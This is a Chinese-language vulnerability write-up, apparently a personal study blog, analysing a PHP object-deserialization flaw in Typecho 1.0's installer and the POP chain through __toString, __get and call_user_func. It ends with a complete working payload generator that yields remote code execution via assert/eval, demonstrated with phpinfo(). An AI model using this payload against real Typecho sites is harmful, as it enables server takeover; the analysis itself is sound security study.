這裏我下了1.0版本:
git clone https://github.com/typecho/typecho.git --branch v1.0-14.10.10-release
github
這個漏洞很是有趣。首先是一個可控參數的反序列化表達式。而後構造pop鏈,尋找__destruct方法,然而沒有找到可利用的。可是經過對反序列化後的變量跟蹤發現,有對其看成字符串調用,所以尋找__toString方法。cookie
這個程序一共就只有三個__toString,我本身找的時候只找到一個「相似SQL注入」的點,後來經過利用autoload機制(參考p牛的CSRF到任意代碼執行)將那個類加載進來。後來又經過一頓分析發現,其只是返回一個SELECT語句的字符串,而後我就沒再跟進了,說不定能夠構形成一個反射xss(從反序列化到反射xss???)。app
而後看了一下大佬的blog,大佬在另外一處__toString中找到了一個方法調用:$item[..]->screenName。因爲$item可控,所以這裏可使$item[..]爲一個沒有screenName屬性的對象,當訪問一個對象沒有的屬性時就會尋找它的__get方法!因此大佬這裏就找了一個存在危險操做的__get方法的類。果真我仍是太菜了,滿腦子就只有__destruct和__wakeup。xss
跟進__get以後,通過一系列的調用,調用了同類下的某個filter方法,而後在裏面進行了call_user_func,兩個參數均可控,至此利用鏈分析完畢。typecho
構建poc後發現頁面返回了500錯誤,咱們的phpinfo()並無回顯出來。通過調試發現,由於程序對反序列化以後的內容進行處理時拋出了異常,致使報了錯。咱們能夠將程序提早exit,不通過後面的報錯便可。學習
首先看一下訪問到漏洞點的前置條件this
這裏會對referer頭作一個校驗,refer中的host值須要與$_SERVER['HTTP_HOST']的值相等。3d
下面看一下漏洞點
這裏須要傳入一個finish參數,而後在230行將cookie中的__typecho_config的值經過base64解碼以後反序列化。
再往下看兩行到232行,這裏將$config['adapter']做爲第一個參數傳入到Typecho_Db()中。$config就是反序列化傳來的對象,所以這個參數也是咱們可控的。咱們跟進一下Typecho_Db()
跟進其構造方法以後發現,這裏將咱們傳來的第一個參數作字符串拼接,若是第一個參數是對象的話,那麼這裏就會調用其__toString()方法。恰好,第一個參數是咱們可控的。
經過尋找__toString方法,找到了一個Typecho_Feed類。
在第二張圖中能夠看到$item['author']->screenName
。若是$item['author']是一個不能存在screenName屬性的類的話,那麼這裏就會調用這個類的__get()魔術方法。恰好,這裏的$item是咱們可控的。所以下面就找哪些類沒有screenName屬性,而且__get方法存在危險操做。
最後找到了Typecho_Request類
能夠看到$value是可控的。下面跟進一下_applyFilter方法
能夠看到,這裏有個call_user_func方法,且$filter和$value均可控。至此這條pop鏈基本是構造完了。
但是構造完payload發現頁面響應500,咱們的phpinfo()並無回顯出來。通過調試發現,由於程序對反序列化以後的內容進行處理時拋出了異常,致使報了錯。以下。
能夠看到這裏首先拋出了一個Typecho_Db_Exception異常,跟進。
能夠看到調用了ob_end_clean()清空了緩衝區。接着跟到self::error。
能夠看到,這裏配置了一些報錯變量,並在最後輸出到模板中,而後exit退出了程序。
暫時知道有兩種方法來輸出payload的結果:
1)提早exit程序,讓程序不運行到拋出異常處
2)提早將緩衝區內容打印到頁面上
對於1),這裏有兩種實現方法,第一種是seebug做者的方法,經過使程序運行出錯自動exit,還有一種是直接簡單粗暴地將exit放到咱們的payload中。
對於2),我本想使用ob_end_flush()之類的方法,可是程序在調用時會傳入一個參數,致使ob_end_flush()執行失敗,由於這個方法是不接受參數的,因此對於第2)個方法,目前沒找到出路。
因此這裏我將exit放到payload中,成功提早退出,回顯了phpinfo。
payload以下
<?php class Typecho_Feed{ private $_type; private $_items = array(); public function __construct(){ $this->_type = "RSS 2.0"; $this->_items = array( array( "title" => "test", "link" => "test", "data" => "20190430", "author" => new Typecho_Request(), ), ); } } class Typecho_Request{ private $_params = array(); private $_filter = array(); public function __construct(){ $this->_params = array( "screenName" => "eval('phpinfo();exit;')", ); $this->_filter = array("assert"); } } $a = new Typecho_Feed(); $c = array( "adapter" => $a, "prefix" => "test", ); echo base64_encode(serialize($c));
這個漏洞最精彩的部分就是經過調用__toString再來調用一層__get魔術方法,惋惜本身無法把這些已有的點聯繫起來,仍是多學習吧。